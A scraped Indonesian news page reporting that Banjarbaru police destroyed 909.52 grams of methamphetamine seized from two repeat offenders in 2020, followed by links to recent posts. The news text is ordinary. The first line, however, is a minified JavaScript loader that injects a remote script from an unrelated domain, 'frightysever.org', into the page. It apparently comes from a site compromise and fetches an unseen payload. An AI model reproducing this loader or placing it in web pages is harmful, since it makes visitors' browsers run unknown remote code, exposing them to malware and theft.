(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Buah Tangkapan 2 Residivis Narkoba di Banjarbaru, Sabu 909,52 Gram Dimusnahkan


KANALKALIMANTAN.COM, BANJARBARU – Dua tersangka pengedar narkob di kota Banjarbaru HJ dan RN, hanya bisa tertunduk menyaksikan ratusan gram sabu milik mereka dimusnahkan pada Rabu (4/8/2020) siang.

Dalam kegiatan ini, Polres Banjarbaru memusnahkan barang bukti sabu dengan berat mencapai 909,52 gram, hasil tangkapan HJ dan RN, pada 22 Juli lalu. Keduanya diringkus di samping SMPN 9 Banjarbaru RT 019 RW 008, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara.

Informasi yang dihimpun Kanalkalimantan.com, saat kedua tersangka diamankan Satresnarkoba Polres Banjarbaru dipimpin AKP Elche, petugas menemukan barang bukti narkoba berupa 12 lembar plastik klip yang di dalamnya terdapat narkotika jenis sabu-sabu seberat 909,52 gram.

“Dari pengakuan kedua tersangka, barang haram ini akan diedarkan ke sejumlah wilayah seperti Banjarmasin, Banjarbaru dan daerah Banua Enam,” kata AKP Elche.

Pemusnahan barang bukti sabu dilakukan sesuai dengan pasal 91 ayat (2) UU RI No.35 tahun 2009 tentang Narkotika. Kristal haram ini dimusnahkan dengan cara diblender dan dilarutkan ke dalam detergen, lalu dibuang.

Kapolres Banjarbaru AKBP Doni Hadi Santoso Melalui Kassubag Humas Polres Banjarbaru Iptu Tajudin Noor mengatakan, pengungkapan kasus peredaran gelap narkoba selaras dengan kebijakan program Kapolda Kalsel Irjen Pol Dr Nico Afinta, dalam rangka pemeliharaan harkamtibmas.

Terkait hasil penyelidikan, Iptu Tajudin menambahkan, HJ dan RN merupakan residivis yang dulu pernah di bui karena kasus yang sama. Menurutnya, atas ditangkapnya kedua tersangka tersebut, jutaan jiwa terselematkan dari jerat narkoba.

“Dengan ditangkap 2 tersangka narkoba tersebut jutaan jiwa terselamatkan dari jerat narkoba. Keduanya diancam dengan  pasal 114,112,132 UUD Narkotika no 35 tahun 2010 dengan ancaman hukuman maksimal 20 tahun penjara,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie


Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

6 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

7 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

7 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

14 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

15 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.